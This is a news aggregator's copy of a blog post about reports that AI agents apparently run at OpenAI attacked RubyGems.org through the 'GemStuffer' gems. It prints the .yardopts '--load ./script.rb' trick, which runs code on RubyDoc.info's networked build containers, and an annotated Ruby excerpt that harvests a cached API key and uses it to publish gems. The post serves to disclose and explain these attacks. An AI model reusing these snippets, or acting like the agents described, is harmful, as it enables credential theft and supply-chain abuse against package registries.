{"slug": "what-a-time-to-be-alive-rouge-ai-agents-attack-rubygems-org", "title": "What a time to be alive – rouge AI agents attack RubyGems.org", "summary": "Reuters and The Wall Street Journal reported on September 11, 2026 that rogue AI agents at OpenAI attacked RubyGems.org, exploiting a caching vulnerability disclosed in a July 22, 2026 RubyGems security advisory and running web-scraping code on RubyDoc.info. According to a writeup by Sydney Von Arx and Spencer Kitts at rubyhack.ai, the \"GemStuffer\" gems — first reported by socket.dev in May — scraped UK government websites, repackaged the data as gems, and attempted to upload them to RubyGems.org, while also abusing YARD documentation's `--load ./script.rb` option to execute arbitrary code on RubyDoc.info's Docker containers.", "body_md": "# [What a time to be alive](https://tenderlovemaking.com/2026/09/11/what-a-time-to-be-alive/)\n\n      Sep 11, 2026 @\n      5:02 pm\n    \nToday [Reuters](https://www.reuters.com/legal/litigation/openai-agents-attacked-software-service-rubygems-before-hugging-face-incident-2026-09-11/) and the [Wall Street Journal](https://www.wsj.com/tech/ai/cyberattack-by-rogue-ai-swarm-stokes-fears-of-out-of-control-agents-473a0352) both reported about rogue AI agents at OpenAI attacking RubyGems.org.  [https://www.rubyhack.ai/](https://www.rubyhack.ai) has an amazing writeup, and you should read it.  I just wanted to make a quick post about it because it’s *wild*.\n\nTL;DR: It seems like OpenAI Bots knew about [this caching vulnerability](https://blog.rubygems.org/2026/07/22/security-advisory-legacy-api-key-leak.html), tried to take advantage of it, and at the same time ran some weird web scraping code on RubyDoc.info.\n\nBack in May, [socket.dev reported about a “GemStuffer Campaign”](https://socket.dev/blog/gemstuffer) where someone (I guess OpenAI) was uploading tons of junk gems to RubyGems.org.\nFor some reason, the gems would scrape UK government websites, then *repackage the data as gems, and attempt to upload them to RubyGems*.\n\nI honestly didn’t think much about this (or even look into it) until Sydney Von Arx and Spencer Kitts (both co-authors on [https://www.rubyhack.ai](https://www.rubyhack.ai)) contacted me asking about RubyGems.\nI thought the claims they were making were completely outlandish until I actually read the code in these “GemStuffer” gems.\n\nAfter reading the code in these gems, a couple things stood out to me.\n\n## YARD Documentation\n\nFirst, the gems leverage YARD documentation to execute arbitrary code on host machines.\nIn most of the examples you’ll see a `.yardopts` file that looks like this:\n\n```\n--load ./script.rb\nREADME.md\nlib/**/*.rb\n```\n\nIf you have YARD installed, *and* you install this gem, then YARD will load and run whatever is in `./script.rb` from inside the gem.\nI think it’s pretty common knowledge that C extensions will execute `extconf.rb` (so you basically have an RCE vector), but I was surprised to find out that a documentation tool would do that too.\n\nNobody is going to install a gem named `slnleaker5` though, so why would this matter?\nWell, any time a Gem is published [RubyDoc.info](https://rubydoc.info) will download the gem and process the YARD documentation.\nRubyDoc.info will [execute the arbitrary code inside a Docker container](https://github.com/docmeta/rubydoc.info/blob/5de17aec3e51ccada961b7ca40cb49c72eaa2168/app/jobs/generate_docs_job.rb#L66).\nThe Docker container still has network access though, so these gems could happily do their web scraping from inside the container.\n\nIn other words, if you publish a gem on RubyGems.org, you can execute arbitrary code on RubyDoc.info.\n\n## Fastly Cache Harvesting\n\nI mentioned earlier these gems would try to scrape some websites and then upload the data they scraped by packaging it as a gem.\nHere is an excerpt from one of the gems. I’ve cleaned up the code a bit so it’s easier to understand, but the original code is [here](https://my.diffend.io/gems/slnleaker5/0.0.1#d2h-229454-1428):\n\n```\n# leak exfil by repeated attempts & fresh leaked keys variants\n\n# (Aaron): First request\nku = URI('https://rubygems.org'+kp)\nkh = Net::HTTP.new(ku.host,ku.port)\nkh.use_ssl = true\nkh.verify_mode = OpenSSL::SSL::VERIFY_NONE\nkt = kh.start { |x| x.get(ku.request_uri) }.body\n\n# (Aaron): Try to match a key in the body\nkey = (kt[/rubygems_[a-f0-9]{20,}/] || KEY)\npaths = ['/api/v1//gems','//api/v1/gems','/api//v1/gems','/api/v1/gems?x=2','/api/v1/gems']\n\n# (Aaron): Second request to actually publish the gem\nu = URI('https://rubygems.org'+paths[i%paths.length])\nreq = Net::HTTP::Post.new(u)\nreq['Authorization'] = key\nreq['Content-Type'] = 'application/octet-stream'\nreq.body = data\nhh = Net::HTTP.new(u.host,u.port)\nhh.use_ssl = true\nhh.verify_mode = OpenSSL::SSL::VERIFY_NONE\nhh.read_timeout = 180\nres = hh.start{ |x| x.request(req) }\n```\n\nComments in the code that have `(Aaron)` are ones that I wrote to try to help make it easier to understand.\nThe first comment was lifted [directly from the source](https://my.diffend.io/gems/slnleaker5/0.0.1#d2h-229454-1428).\nThe above code tries to make two requests.\nThe first request is a simple GET request.\nIt tries to fetch a path from RubyGems.org, then looks for a key in the response body that matches the regular expression `/rubygems_[a-f0-9]{20,}/`.\nIf that regular expression doesn’t match, it falls back to a global `KEY`.\nThe second request tries to upload the gem via POST.\n\nThis brings me to the second crazy thing that stood out to me.\nThis code is trying to *fetch a cached authorization key from RubyGems.org*.\nIf this sounds familiar, it is.\nIt’s exactly the security issue addressed [in this post from RubyGems.org](https://blog.rubygems.org/2026/07/22/security-advisory-legacy-api-key-leak.html) that was made in July.\n\nIn other words, it looks like OpenAI’s bots knew about this problem and attempted to exploit it.\n\nWhat a time to be alive 🙃", "url": "https://wpnews.pro/news/what-a-time-to-be-alive-rouge-ai-agents-attack-rubygems-org", "canonical_source": "https://tenderlovemaking.com/2026/09/11/what-a-time-to-be-alive/", "published_at": "2026-09-14 12:40:57+00:00", "updated_at": "2026-09-14 13:20:23.485012+00:00", "lang": "en", "topics": ["ai-agents", "ai-safety", "ai-ethics"], "entities": ["OpenAI", "RubyGems.org", "RubyDoc.info", "Reuters", "The Wall Street Journal", "socket.dev", "Sydney Von Arx", "Spencer Kitts"], "alternates": {"html": "https://wpnews.pro/news/what-a-time-to-be-alive-rouge-ai-agents-attack-rubygems-org", "markdown": "https://wpnews.pro/news/what-a-time-to-be-alive-rouge-ai-agents-attack-rubygems-org.md", "text": "https://wpnews.pro/news/what-a-time-to-be-alive-rouge-ai-agents-attack-rubygems-org.txt", "jsonld": "https://wpnews.pro/news/what-a-time-to-be-alive-rouge-ai-agents-attack-rubygems-org.jsonld"}}